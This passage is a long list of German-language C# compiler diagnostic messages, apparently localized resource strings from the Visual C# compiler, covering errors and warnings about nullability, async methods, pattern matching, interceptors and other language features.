Escapebereich aufweist als das Ziel. + Statische Klassen können keine Instanzenkonstruktoren haben. + '"await" erfordert, dass der Typ "{0}" über eine geeignete GetAwaiter-Methode verfügt. + Ein Member des Ergebnisses von "{0}" kann in diesem Kontext nicht verwendet werden, weil dadurch vom Parameter "{1}" referenzierte Variablen möglicherweise außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Der implizit eingegebene Parameter „{0}“ der Lambdafunktion darf keinen Standardwert aufweisen. + Der Typ "{1}" reserviert bereits einen Member namens "{0}" mit den gleichen Parametertypen. + Die automatisch implementierte Eigenschaft "{0}" kann nicht als "readonly" markiert werden, weil sie einen set-Accessor aufweist. + Argumenttyp ist nicht CLS-kompatibel + Nicht erkannte Escapesequenz. + Parameter besitzt kein übereinstimmendes param-Tag im XML-Kommentar (andere Parameter jedoch schon) + Der switch-Ausdruck verarbeitet einige NULL-Eingaben nicht. + Die geerbte Schnittstelle "{1}" verursacht eine Schleife in der Schnittstellenhierarchie von "{0}". + Der Typ- oder Namespacename "{0}" ist im globalen Namespace nicht vorhanden. (Fehlt möglicherweise ein Assemblyverweis?) + "{0}" kann nicht abgefangen werden, da es sich nicht um einen Aufruf einer normalen Membermethode handelt. + Kann nicht im Filterausdruck einer catch-Klausel warten. + Arrayinitialisiererausdrücke können nur zum Zuordnen von Arraytypen verwendet werden. Verwenden Sie stattdessen einen new-Ausdruck. + Das NULL-Literal oder ein möglicher NULL-Wert wird in einen Non-Nullable-Typ konvertiert. + Implizit typisierte Variablen müssen initialisiert werden. + Eine Typparameterdeklaration muss ein Bezeichner sein, kein Typ. + primäre Konstruktoren + Die automatisch implementierte Eigenschaft '{0}' muss vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um die Eigenschaft automatisch als Standard zu verwenden. + "{0}": In der Struktur wurde ein neuer geschützter Member deklariert. + "{0}": Statische Klassen dürfen keine geschützten Member enthalten. + Das „this“-Objekt wird gelesen, bevor alle zugehörigen Felder zugewiesen wurden, was zu vorherigen impliziten Zuweisungen von "default" zu nicht explizit zugewiesenen Feldern führt. + "{0}": Instanzmember können nicht in einer statischen Klasse deklariert werden. + Das Steuerelement wird an den Aufrufer zurückgegeben, bevor die automatisch implementierte Eigenschaft explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "Standard". + Ausführbare Dateien können keine Satellitenassemblys sein. Kulturen sollten immer leer sein. + In der Methode fehlt die Anmerkung "[DoesNotReturn]" für den Abgleich mit dem implementierten oder überschriebenen Member. + Die Verwendung des base-Schlüsselworts ist in diesem Kontext nicht gültig. + Der Typ "{0}" ist in einer nicht referenzierten Assembly definiert. Fügen Sie einen Verweis auf die Assembly "{1}" hinzu. + "{0}" fügt einen Accessor hinzu, der nicht im Schnittstellenmember "{1}" gefunden werden konnte. + Unbekannte Option: "{0}" + Async-Methoden sind in Schnittstellen, Klassen, Strukturen, die die Attribute "SecurityCritical" oder "SecuritySafeCritical" aufweisen, nicht zulässig. + Das CallerArgumentExpressionAttribute kann nicht angewendet werden, da keine Standardkonvertierungen von Typ „{0}“ in Typ „{1}“ verfügbar sind. + Der erste Operand des "is"- oder "as"-Operators darf kein Lambdaausdruck, keine anonyme Methode und keine Methodengruppe sein. + Ein Arrayzugriff verfügt möglicherweise nicht über einen benannten Argumentspezifizierer. + Eine Methodengruppe kann nicht als Argument eines dynamisch gebundenen Vorgangs verwendet werden. Wollten Sie die Methode aufrufen? + Bereichsoperator + Ein schreibgeschütztes Feld kann (außer in einem Konstruktor) nicht als ref- oder out-Wert verwendet werden. + Ein Aufruf in einer Datei mit dem Pfad "{0}" kann nicht abgefangen werden, da mehrere Dateien in der Kompilierung diesen Pfad aufweisen. + GetDeclarationName wurde für einen Deklarationsknoten aufgerufen, der möglicherweise mehrere Variablendeklaratoren enthalten kann. + Dieser Fehler tritt auf, wenn Sie eine überladene Methode besitzen, die ein verzweigtes Array aufnimmt, liegt der einzige Unterschied zwischen den Methodensignaturen im Elementtyp des Arrays. Um diesen Fehler zu vermeiden, sollte ein rechteckiges Array in Betracht gezogen werden, statt eines verzweigten Arrays; verwenden Sie einen zusätzlichen Parameter, um den Funktionsaufruf eindeutig zu machen; benennen Sie eine oder mehrere der überladenen Methoden um; oder falls keine CLS-Kompatibilität erforderlich ist, entfernen Sie das CLSCompliantAttribute-Attribut. + Der switch-Ausdruck behandelt nicht alle möglichen Werte seines Eingabetyps (er ist nicht umfassend). Das Muster "{0}" ist z. B. nicht abgedeckt. Ein Muster mit einer when-Klausel kann jedoch erfolgreich mit diesem Wert übereinstimmen. + Die Tupelelementnamen in der Signatur der Methode "{0}" müssen mit den Tupelelementnamen der Schnittstellenmethode "{1}" (auch für den Rückgabetyp) übereinstimmen. + Das „this“-Objekt wird gelesen, bevor alle zugehörigen Felder zugewiesen wurden, was zu vorherigen impliziten Zuweisungen von "default" zu nicht explizit zugewiesenen Feldern führt. + Gibt mittels Verweis einen Member des Parameters "{0}" zurück, der auf die aktuelle Methode beschränkt ist. + Doppeltes Attribut "{0}" in "{1}". + Async-Funktion + Ungültiges Format für Debuginformationen: {0} + Mit "goto" kann nicht an eine Position vor einer using-Deklaration im selben Block gesprungen werden. + "init-only" muss entweder für beide oder für keine der Zugriffsmethoden "{0}" und "{1}" festgelegt sein. + Asynchrone Methoden dürfen keine Zeigertypparameter aufweisen. + Eine Anweisung kann nicht mit "else" beginnen. + Element überschreibt veraltetes Element + Eine Zuweisung zu {0} "{1}" oder die Verwendung als rechte Seite einer ref-Zuweisung ist nicht möglich, da es sich um eine schreibgeschützte Variable handelt. + Die Syntax "var" für ein Muster darf nicht zum Verweis auf einen Typen verwendet werden, "{0}" ist jedoch im Bereich enthalten. + Asynchrone Methoden dürfen keine lokalen by-reference-Elemente aufweisen. + Argument {0} should be passed with the 'in' keyword + notnull-Einschränkung für generischen Typ + Nur automatisch implementierte Eigenschaften können Initialisierer aufweisen. + Eine „Struktur“ mit Feldinitialisierern muss einen explizit deklarierten Konstruktor enthalten. + Der kurze Dateiname "{0}" kann nicht erstellt werden, wenn bereits ein langer Dateiname mit dem gleichen kurzen Dateinamen vorhanden ist. + Ein Parameter eines „++“- oder „--“-Operators muss der enthaltende Typ sein oder sein zugehöriger Typparameter, der darauf beschränkt ist. + Der dateilokale Typ "{0}" muss in einem Typ der obersten Ebene definiert werden. "{0}" ist ein geschachtelter Typ. + Das Attribut "{0}" ist für Ereignisaccessoren nicht gültig. Es gilt nur für {1}-Deklarationen. + #warning: "{0}" + Ein statischer Member kann nicht als "{0}" markiert werden. + readonly-Modifizierer können nicht sowohl für die Eigenschaft oder den Indexer "{0}" und den zugehörigen Accessor angegeben werden. Entfernen Sie einen davon. + Das Feld wird gelesen, bevor es explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "Standard". + Die angegebene Zeile und Zeichennummer verweist nicht auf einen abfangbaren Methodennamen, sondern auf das Token "{0}". + Die linke Seite einer Zuweisung muss eine Variable, eine Eigenschaft oder ein Indexer sein. + Die Zielruntime unterstützt keine Inlinearraytypen. + Ein Member "{0}", der als "override" markiert ist, kann nicht als "new" oder "virtual" markiert werden. + Die beiden partiellen Methodendeklarationen ("{0}" und "{1}") müssen die gleichen Tupelelementnamen verwenden. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters "{0}" von "{1}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implizit implementierten Member "{2}". + Strukturmember können nicht "this" oder andere Instanzmember als Verweis zurückgeben. + "{0}": Nicht alle Codepfade geben einen Wert zurück. + Ein Ergebnis von "{0}" kann in diesem Kontext nicht verwendet werden, weil dadurch vom Parameter "{1}" referenzierte Variablen möglicherweise außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Der switch-Ausdruck verarbeitet nicht alle möglichen Werte des zugehörigen Eingabetyps (nicht umfassender Ausdruck). Das Muster "{0}" wird beispielsweise nicht abgedeckt. + Der Typ "{0}" ist ein geschachtelter Typ von "{1}" und kann daher nicht weitergeleitet werden. + Einzeiliger Kommentar oder Zeilenende erwartet. + Die Einschränkung kann nicht der dynamische Typ sein. + Der out-Parameter "{0}" muss eine Zuweisung erhalten, bevor die Steuerung die aktuelle Methode verlässt. + Ungültiger Name für ein Vorverarbeitungssymbol; kein gültiger Bezeichner + Das l-Suffix kann leicht mit der Zahl 1 verwechselt werden. Verwenden Sie zur deutlichen Unterscheidung das L. + "{0}" in der expliziten Schnittstellendeklaration ist keine Schnittstelle. + Arrayzugriff + Der Empfänger eines with-Ausdrucks muss einen gültigen Typ (nicht "void") aufweisen. + "{1}" wird von der Sprache nicht unterstützt und kann deshalb von "{0}" nicht überschrieben werden. + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + Die init-only-Eigenschaft oder der Indexer "{0}" kann nur in einem Objektinitialisierer oder für "this" oder "base" in einem Instanzkonstruktor oder einer init-Zugriffsmethode zugewiesen werden. + Die &Methodengruppe "{0}" kann nicht in den Delegattyp "{1}" konvertiert werden. + Der Parametermodifizierer "{0}" kann nicht mit "{1}" verwendet werden. + Elementnamen sind bei einem Musterabgleich über "System.Runtime.CompilerServices.ITuple" nicht erlaubt. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + „{1}“ kann nicht auf „{0}“ verweisen, da „{1}“ einen breiteren Werte-Escapebereich als „{0}“ hat, wodurch die Zuweisung über „{0}“ von Werten mit engeren Escapebereichen als „{1}“ ermöglicht wird. + Der Typ "{0}" kann nicht eingebettet werden, weil er eine Neuabstraktion eines Members aus der Basisschnittstelle aufweist. Legen Sie die Eigenschaft "Interoptypen einbetten" ggf. auf FALSE fest. + Der nicht aufrufbare Member "{0}" kann nicht wie eine Methode verwendet werden. + Ein ref- oder out-Wert muss eine zuweisbare Variable sein. + Für eine minimale Typqualifizierung muss SyntaxTreeSemanticModel angegeben werden. + Das CallerArgumentExpressionAttribute hat keine Auswirkungen. Es wird von dem CallerMemberNameAttribute überschrieben + Fehler beim Initialisieren des Generators. + Der Typ "{0}" wurde in einem nicht hinzugefügten Modul definiert. Sie müssen das Modul "{1}" hinzufügen. + Ein bedingter Ausdruck kann nicht direkt in einer Zeichenfolgeninterpolation verwendet werden, weil ":" die Interpolation beendet. Setzen Sie den bedingten Ausdruck in Klammern. + Der Namespace "{1}" in "{0}" steht in Konflikt mit dem Typ "{3}" in "{2}". + "{0}": Ein statischer Konstruktor muss parameterlos sein. + Ein out-Parameter kann kein In-Attribut haben. + Argumente mit dem Modifizierer "in" können nicht in dynamisch gebundenen Ausdrücken verwendet werden. + Methodengruppe + Der Async-Iterator "{0}" weist mindestens einen Parameter vom Typ "CancellationToken" auf, aber keiner der Parameter umfasst das Attribut "EnumeratorCancellation", deshalb wird der Parameter für das Abbruchtoken aus dem generierten "IAsyncEnumerable<>.GetAsyncEnumerator" nicht verwendet. + MemberNotNull-Attribut + Feld wird niemals zugewiesen, und hat immer den Standardwert + Die Methode "{0}" weist einen this-Parametermodifizierer auf, der nicht für den ersten Parameter angegeben ist. + Zeichenfolgenliterale dürfen nur von ASCII-Anführungszeichen umschlossen werden. + Für einen base-Verweis ist eine Basisklasse erforderlich. + Unerwartete Präprozessordirektive. + Unboxing eines möglichen NULL-Werts. + Der Typ "{2}" kann nicht als Typparameter "{1}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Die NULL-Zulässigkeit des Typarguments "{2}" entspricht nicht der notnull-Einschränkung. + Die CLS-Kompatibilitätsprüfung wird nicht für "{0}" ausgeführt (ist außerhalb der Assembly nicht sichtbar). + Die Verwenden-Anweisung für „{0}“ wurde zuvor als „Global verwenden“ angezeigt + "{0}": Überschreiben nicht möglich; "{1}" ist keine Eigenschaft. + Ein Ausdruck des Typs "{0}" kann nicht von einem Muster des Typs "{1}" in C# {2} verarbeitet werden. Verwenden Sie Sprachversion {3} oder höher. + Die Variable "{0}" ist zugewiesen, ihr Wert wird aber nie verwendet. + Der Operator "{0}" kann nicht auf "default" und den Operanden vom Typ "{1}" angewendet werden, weil es sich um einen Typparameter handelt, der nicht als Verweistyp bekannt ist. + Die Anmerkung für Nullable-Verweistypen darf nur in Code innerhalb eines #nullable-Anmerkungskontexts verwendet werden. + Der Tupelelementname "{0}" ist nur an Position {1} zulässig. + Mehr als ein Schutzmodifizierer. + Der XML-Kommentar enthält ein cref-Attribut "{0}" mit falscher Syntax. + Die Analyzerassembly verweist auf eine neuere Version des Compilers als die derzeit ausgeführte Version. + "{0}" wird von der Sprache nicht unterstützt. + XML-Kommentar besitzt ein paramref-Tag, es gibt jedoch keinen Parameter mit diesem Namen + Der "await"-Operator kann nur innerhalb einer Async-Methode verwendet werden. Markieren Sie ggf. diese Methode mit dem "async"-Modifizierer, und ändern Sie deren Rückgabetyp in "Task". + Der ref-, out- oder in-primäre Konstruktorparameter „{0}“ kann nicht innerhalb eines Instanzmembers verwendet werden. + "{0}" kann nicht aktualisiert werden. Das Attribut "{1}" fehlt. + Unsignierte Rechtsverschiebung + "/main" kann nicht angegeben werden, wenn eine Kompilierungseinheit mit Anweisungen der obersten Ebene vorhanden ist. + Ein primärer Konstruktorparameter eines schreibgeschützten Typs kann nicht als ref- oder out-Wert verwendet werden (mit Ausnahme eines init-only-Setters des Typs oder eines Variableninitialisierers). + Das CallerArgumentExpressionAttribute hat keine Auswirkungen. Es wird vom CallerFilePathAttribute überschrieben. + {0}: Im versiegelten Typ wurde ein neuer geschützter Member deklariert. + Das Steuerelement kann nicht von einer case-Bezeichnung ("{0}") zur nächsten fortfahren. + "{0}" kann nicht in den Typ "{1}" konvertiert werden, da es kein Delegattyp ist. + Ein Lambdaausdruck mit einem Anweisungstext kann nicht in einen Ausdrucksbaum konvertiert werden. + Die Methode "{0}" gibt eine default-Einschränkung für den Typparameter "{1}" an, aber der zugehörige Typparameter "{2}" der überschriebenen oder explizit implementierten Methode "{3}" ist auf einen Verweistyp oder einen Werttyp beschränkt. + Der Modifizierer "scoped" des Parameters stimmt nicht mit dem überschriebenen oder implementierten Member überein. + Gemischte Deklarationen und Ausdrücke in der Dekonstruktion + Microsoft (R) Visual C# Compiler + Die Zeile enthält andere Leerzeichen als die schließende Zeile des rohen Zeichenfolgenliterals: '{0}' im Vergleich zu '{1}' + Der Typ "{0}" kann nicht mit einer Verweiskonvertierung, einer Boxing-Konvertierung, einer Unboxing-Konvertierung, einer Umbruchkonvertierung oder einer NULL-Typkonvertierung in "{1}" konvertiert werden. + "{0}" dient nur zu Testzwecken und kann in zukünftigen Aktualisierungen geändert oder entfernt werden. + Ein Zeiger darf nur von einem Wert indiziert werden. + '{0}' hat ein CollectionBuilderAttribute, aber keinen Elementtyp. + Die Verwendung eines Funktionszeigertyps in diesem Kontext wird nicht unterstützt. + Keine gültige Warnungszahl. + Entweder beide oder keine der partiellen Methodendeklarationen müssen als "readonly" festgelegt werden. + Lokale byref-Elemente und Rückgaben + Das auf den Parameter "{0}" angewendete CallerArgumentExpressionAttribute hat keine Auswirkungen, da es sich um einen selbstreferenziellen Parameter handelt. + Ein Argument mit einem dynamischen Typ kann nicht an den params-Parameter "{0}" der lokalen Funktion "{1}" übergeben werden. + Die eingebettete Interopmethode "{0}" enthält Text. + Die beste überladene Add-Methode "{0}" für das Sammlungsinitialisiererelement ist veraltet. + Dynamisch + Die lokale Variable "{0}" kann erst verwendet werden, nachdem sie deklariert wurde. Bei der Deklaration der lokalen Variablen wird das Feld "{1}" verborgen. + Der Tupelelementname wird ignoriert, weil ein anderer oder gar kein Name auf der anderen Seite des ==- oder !=-Tupeloperators angegeben wurde. + eine foreach-Anweisung für ein Inlinearray vom Typ '{0}' wird nicht unterstützt. + Der Member muss beim Beenden einen Wert ungleich NULL aufweisen. + Der Index liegt außerhalb des gültigen Bereichs des Inlinearrays. + Die Definition von Präprozessorsymbolen kann nur vor dem ersten Token in der Datei vorgenommen/aufgehoben werden. + Die Kompilierungsoptionen "{0}" und "{1}" dürfen nicht gleichzeitig verwendet werden. + Anweisungen der obersten Ebene + Das CallerMemberNameAttribute hat keine Auswirkungen, da es für einen Member gilt, das in Kontexten verwendet wird, die keine optionalen Argumente zulassen + Vorgangsüberlauf während der Kompilierzeit im aktivierten Modus. + Namespacealias-Qualifizierer + Eine throw-Anweisung ohne Argumente ist außerhalb einer catch-Klausel unzulässig. + Ungültiger Operand für die Musterübereinstimmung. Ein Wert ist erforderlich, gefunden wurde aber "{0}". + Die foreach-Anweisung kann nicht für Enumeratoren vom Typ "{0}" in asynchronen oder Iteratormethoden verwendet werden, weil "{0}" eine Referenzstruktur ist. + Der Parameter wird nicht gelesen. Möglicherweise haben Sie ihn nicht zum Initialisieren der gleichnamigen Eigenschaft verwendet? + Der konstante Wert "{0}" kann zur Laufzeit einen Überlauf von "{1}" verursachen (verwenden Sie zum Überschreiben die unchecked-Syntax). + Das Ereignis "{0}" wird nie verwendet. + Der XML-Kommentar ist auf keinem gültigen Sprachelement abgelegt. + Fehler beim Schreiben in XML-Dokumentationsdatei: {0} + Generika + 'Die {0}-Schnittstelle wurde mit CoClassAttribute und nicht mit ComImportAttribute markiert. + Felder von "{0}" dürfen nicht als ref- oder out-Wert verwendet werden, weil es sich um ein {1}-Objekt handelt. + Verwenden einer möglicherweise nicht zugewiesenen, automatisch implementierten Eigenschaft "{0}" + Das Feld "{0}" wird nie verwendet. + Auf diese Bezeichnung wurde nicht verwiesen. + "{0}" ist ein doppeltes benanntes Attributargument. + Ein Verweis auf die Variable mit dem Typ "{0}" kann nicht erstellt werden. + Der await-Operator kann nur verwendet werden, wenn er in einer Methode oder einem Lambdaausdruck enthalten ist, die bzw. der mit dem async-Modifizierer markiert ist. + Ein Ausdrucksbaum darf kein Tupelliteral enthalten. + Vergleich erfolgte mit derselben Variable + Ein Funktionszeiger kann nicht mit benannten Argumenten aufgerufen werden. + Objekt- und Sammlungsinitialisiererausdrücke dürfen nicht auf einen Delegaterstellungsausdruck angewendet werden. + Der XML-Kommentar enthält ein doppeltes typeparam-Tag für "{0}". + {0}: Benutzerdefinierte Konvertierungen in einen oder aus einem abgeleiteten Typ sind nicht zulässig. + Der Objekt- oder Sammlungsinitialisierer dereferenziert implizit einen Member, der möglicherweise NULL ist. + Der Typ implementiert den Schnittstellenmember nicht. Die NULL-Zulässigkeit von Verweistypen in der vom Basistyp implementierten Schnittstelle stimmt nicht überein. + "{0}" ist kein gültiger Formatbezeichner. + '"await" kann nicht in einem Ausdruck mit einem bedingten ref-Operator verwendet werden. + Der Parameter "{0}" wird nicht gelesen. Möglicherweise haben Sie ihn nicht zum Initialisieren der gleichnamigen Eigenschaft verwendet? + Der Async-Iterator-Member weist mindestens einen Parameter vom Typ "CancellationToken" auf, aber keiner der Parameter umfasst das Attribut "EnumeratorCancellation", deshalb wird der Parameter für das Abbruchtoken aus dem generierten "IAsyncEnumerable<>.GetAsyncEnumerator" nicht verwendet. + Es wurde bereits eine Assembly mit dem einfachen Namen "{0}" importiert. Entfernen Sie einen der Verweise (z. B. "{1}"), oder signieren Sie die Verweise, damit sie parallel verwendet werden können. + Der Operator "await" kann nicht in einem statischen Skriptvariableninitialisierer verwendet werden. + Die Schnittstelle "{0}" kann nicht mit den angegebenen Typparametern vererbt werden, da dies dazu führt, dass die Methode "{1}" Überladungen enthält, die sich nur in "ref" und "out" unterscheiden. + Der Name "{0}" ist auf der linken Seite von "equals" nicht im Bereich. Vertauschen Sie die Ausdrücke auf beiden Seiten von "equals". + CallerFilePathAttribute kann nicht angewendet werden, da keine Standardkonvertierungen von Typ "{0}" in Typ "{1}" verfügbar sind. + Der Bezeichner "{0}", der sich nur hinsichtlich der Groß- und Kleinschreibung unterscheidet, ist nicht CLS-kompatibel. + Ein NULL-Literal kann nicht in einen Non-Nullable-Verweistyp konvertiert werden. + Inkonsistenter Zugriff: Eigenschaftentyp "{1}" ist weniger zugreifbar als Eigenschaft "{0}". + NULL ist kein gültiger Parametername. Um auf den Empfänger einer Instanzmethode zuzugreifen, verwenden Sie die leere Zeichenfolge als Parameternamen. + Fehler beim Öffnen der Win32-Ressourcendatei "{0}": "{1}" + Leerer Formatbezeichner. + Die NULL-Zulässigkeit des Rückgabetyps entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem überschriebenen Member. + Bitweiser OR-Operator, der bei einem signaturerweiterten Operanden verwendet wurde. + Das Ergebnis des Ausdrucks lautet immer gleich, da ein Wert dieses Typs niemals 'null' entspricht + Fehler beim transparenten Bezeichnermemberzugriff für Feld "{0}" von "{1}". Implementieren die abgefragten Daten das Abfragemuster? + Generische Typeneinschränkungen für Delegat + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implementierten Member. + Für "{0}" kann keine numerische Konstante oder ein relationales Muster verwendet werden, da es von "INumberBase<T>" vererbt oder erweitert wird. Erwägen Sie die Verwendung eines Typmusters, um auf einen bestimmten numerischen Typ einzugrenzen. + CallerLineNumberAttribute kann nicht angewendet werden, da keine Standardkonvertierungen von Typ "{0}" in Typ "{1}" verfügbar sind. + 'Der externe Alias ist in diesem Kontext nicht gültig. + Die Liste der erforderlichen Member für den Basistyp '{0}' ist falsch formatiert und kann nicht interpretiert werden. Um diesen Konstruktor zu verwenden, wenden Sie das Attribut "SetsRequiredMembers" an. + Das „this“-Objekt kann nicht in einem Konstruktor verwendet werden, bevor alle zugehörigen Felder zugewiesen wurden. Erwägen Sie, die Sprachversion so zu aktualisieren, dass die nicht zugewiesenen Felder automatisch als Standard festgelegt werden. + Entweder beide bedingten Operatorwerte müssen ref-Werte sein oder keiner von beiden. + Die Verwendung von new() ist in diesem Kontext ungültig. + Der Typ "{0}" kann nicht eingebettet werden, da es sich um einen geschachtelten Typ handelt. Legen Sie die Eigenschaft "Interoptypen einbetten" ggf. auf "False" fest. + Das CLSCompliant-Attribut kann nicht für ein Modul angegeben werden, das sich vom CLSCompliant-Attribut der Assembly unterscheidet. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp stimmt nicht mit der abfangbaren Methode überein. + Das erforderliche Mitglied "{0}" muss im Objektinitialisierer oder Attributkonstruktor festgelegt werden. + Der Inlinearrayindexer wird nicht für den Elementzugriffsausdruck verwendet. + {0}. Siehe auch Fehler CS{1}. + Ungültiger Basistyp. + Der erforderliche Member '{0}' darf nicht weniger sichtbar sein oder einen Setter aufweisen, der weniger sichtbar ist als der enthaltende Typ '{1}'. + Der Typname "{0}" ist im Typ "{1}" nicht vorhanden. + Für folgendes Include-Tag wurden keine übereinstimmenden Elemente gefunden. + Das Feature "{0}" ist experimentell und wird nicht unterstützt. Verwenden Sie zur Aktivierung "/features:{1}". + Die automatisch implementierte Eigenschaft wird gelesen, bevor sie explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "Standard". + Typ überschreibt Object.Equals(object o), überschreibt jedoch nicht Object.GetHashCode() + Asynchrone Streams + Der 'goto case'-Wert kann nicht implizit in den Schaltertyp konvertiert werden + Die /doc-Cmpileroption wurde angegeben, ein oder mehrere Konstrukte besitzen jedoch keine Kommentare. + "{0}": Der geerbte Member "{1}" kann nicht überschrieben werden, da er nicht als "virtual" , "abstract" oder "override" markiert ist. + Der Parametername "{0}" ist ein Duplikat. + "{0}": Zugriffsmodifizierer sind bei statischen Konstruktoren nicht zulässig. + Verwenden Sie "System.Runtime.CompilerServices.RequiredMemberAttribute" nicht. Verwenden Sie stattdessen das Schlüsselwort "erforderlich" für erforderliche Felder und Eigenschaften. + Unerwartete Verwendung eines ungebundenen generischen Namens. + Der ref-Modifizierer für ein Argument, das dem Parameter "in" entspricht, ist gleichbedeutend mit "in". Erwägen Sie stattdessen die Verwendung von "in". + Accessor "{0}" kann Schnittstellenmember "{1}" für Typ "{2}" nicht implementieren. Verwenden Sie eine explizite Schnittstellenimplementierung. + Beide partiellen Methodendeklarationen müssen Erweiterungsmethoden sein, oder keine von beiden darf eine Erweiterungsmethode sein. + "catch" oder "finally" erwartet. + Ein new-Ausdruck erfordert nach dem Typ eine Argumentliste oder (), [] oder {}. + Variable ist deklariert, wird jedoch niemals verwendet + „{0}“ ist in einem Modul mit einer unbekannten RefSafetyRulesAttribute-Version definiert, erwartet wird „11“. + Dateiende gefunden. "*/" erwartet. + Die Kompilierung mit dem Typ "{0}" kann aus der {1}-Kompilierung nicht referenziert werden. + Für den Parameter "ref readonly" wurde ein Standardwert angegeben, "ref readonly" sollte jedoch nur für Verweise verwendet werden. Deklarieren Sie den Parameter ggf. als "in". + "{0}" blendet den vererbten Member "{1}" aus. Damit der aktuelle Member diese Implementierung überschreibt, fügen Sie das override-Schlüsselwort hinzu. Ansonsten fügen Sie das new-Schlüsselwort hinzu. + "{0}" implementiert den Schnittstellenmember "{1}" nicht. "{2}" ist nicht öffentlich und kann daher keinen Schnittstellenmember implementieren. + Der dateilokale Typ "{0}" kann nicht in einer Membersignatur im nicht-dateilokalen Typ "{1}" verwendet werden. + Die Schnittstelle '{0}‘ kann nicht als Typargument verwendet werden. Der statische Member ‚{1}‘ hat keine spezifischste Implementierung in der Schnittstelle. + SemanticModel "{0}" erwartet. + Bedingter ref-Ausdruck + Standardoperator + Ein Wert vom Typ "void" darf nicht zugewiesen werden. + Standardliteral + Der Schnittstellenmember "{1}" wird von "{0}" nicht implementiert. "{1}" kann von "{2}" nicht implementiert werden. + Ein Ausdruck vom Typ "{0}" kann nicht von einem Muster vom Typ "{1}" verarbeitet werden. + Das „this“-Objekt kann nicht verwendet werden, bevor alle zugehörigen Felder zugewiesen wurden. Aktualisieren Sie ggf. auf die Sprachversion „{0}“, um die nicht zugewiesenen Felder automatisch als Standard zu verwenden. + Die angegebenen Optionen führen zu einem Konflikt: Win32-Ressourcendatei; Win32-Symbol + Das Attribut wird ignoriert, wenn öffentliche Signierung angegeben wird. + Der Typname "{0}" ist für die Verwendung durch den Compiler reserviert. + Die NULL-Zulässigkeit von Verweistypen im expliziten Schnittstellenspezifizierer entspricht nicht der vom Typ implementierten Schnittstelle. + Anwendungseinstiegspunkte können nicht mit dem Attribut "UnmanagedCallersOnly" versehen werden. + Der Name "{0}" ist auf der rechten Seite von "equals" nicht im Bereich. Vertauschen Sie die Ausdrücke auf beiden Seiten von "equals". + "{0}": Tupelelementnamen können nicht geändert werden, wenn der geerbte Member "{1}" überschrieben wird. + Die kombinierte Länge der vom Programm verwendeten Benutzerzeichenfolgen überschreitet den zulässigen Grenzwert. Versuchen Sie, die Verwendung von Zeichenfolgenliteralen zu verringern. + { erwartet. + Das Suffix 'l' kann leicht mit der Ziffer '1' verwechselt werden + Unerwartetes Zeichen an dieser Stelle. + ">" oder "/>" zum Schließen des Tags "{0}" wurde erwartet. + Der ausgelöste Wert darf NULL sein. + Typparameter besitzt kein übereinstimmendes typeparam-Tag im XML-Kommentar (andere type-Parameter jedoch schon) + Warnungsaktion "enable" + Es sollte kein Alias mit dem Namen "global" definiert werden, da "global::" immer ein Verweis auf den globalen Namespace und nicht auf einen Alias ist. + Das auf Parameter "{0}" angewendete CallerMemberNameAttribute hat keine Auswirkung, da es auf einen Member in Kontexten angewendet wird, die keine optionalen Argumente zulassen. + Der Attributkonstruktorparameter "{0}" hat den Typ "{1}", dies ist kein gültiger Attributparametertyp. + Ungültiger Varianzmodifizierer. Nur Schnittstellen- und Delegattypparameter können als Variante angegeben werden. + Der Parameter muss beim Beenden mit einer bestimmten Bedingung einen Wert ungleich NULL aufweisen. + Relationale Muster dürfen nicht für einen Wert vom Typ "{0}" verwendet werden. + Das Erben von einem Datensatz mit einem versiegelten "Object.ToString" wird in C# {0} nicht unterstützt. Verwenden Sie die Sprachversion "{1}" oder höher. + Die überladene Methode weicht nur hinsichtlich des Verweises oder der Ausgabe ab, oder des Arrayrangs, und ist nicht CLS-kompatibel + "{0}": Ein flüchtiges Feld kann nicht vom Typ "{1}" sein + Ein stackalloc-Ausdruck erfordert [] nach "type". + Ungültiger Deklarator eines anonymen Typmembers. Anonyme Typmember müssen mit einer Memberzuweisung, einem einfachen Namen oder einem Memberzugriff deklariert werden. + Ein Tupel darf keinen Wert vom Typ "void" enthalten. + Das Out-Attribut kann für einen ref-Parameter nicht ohne Angabe des In-Attributs angegeben werden. + Quelldatei "{0}" mehrmals angegeben. + Member der {0}-Eigenschaft vom Typ "{1}" können nicht mit einem Objektinitialisierer zugewiesen werden, da es sich um einen Werttyp handelt. + collection expressions + "{0}": Strukturen können keine Basisklassenkonstruktoren aufrufen. + Der Typ implementiert nicht das Sammlungsmuster. Die Elemente sind nicht eindeutig. + "stackalloc" darf nicht in einem catch- oder finally-Block verwendet werden. + Ein Zeichenfolgenliteral wurde erwartet, es wurde aber kein öffnendes Anführungszeichen gefunden. + "{0}" kann nicht extern sein und Text deklarieren. + <switch-Ausdruck> + Ungültiger Präprozessorausdruck. + Das this-Schlüsselwort ist im aktuellen Kontext nicht verfügbar. + Lambda-Rückgabetyp + SyntaxTree ist das Ergebnis einer #load-Direktive und kann nicht direkt entfernt oder ersetzt werden. + Unbekannte #pragma-Direktive. + Ein anonymer Typ kann nicht mehrere Eigenschaften mit demselben Namen haben. + Der {1}-Typparameter enthält die Einschränkung "unmanaged". "{1}" kann daher nicht als Einschränkung für "{0}" verwendet werden. + Der Name "{0}" überschreitet die maximal zulässige Länge in Metadaten. + using static-Anweisungen können nicht zum Deklarieren eines Alias verwendet werden + Zuweisung zur gleichen Variablen. Wollten Sie eine andere Zuweisung durchführen? + Ereignis wird niemals benutzt + Ein Interceptor kann nicht im globalen Namespace deklariert werden. + Eine asynchrone foreach-Anweisung kann nicht für Variablen vom Typ "{0}" verwendet werden, weil "{0}" keine geeignete 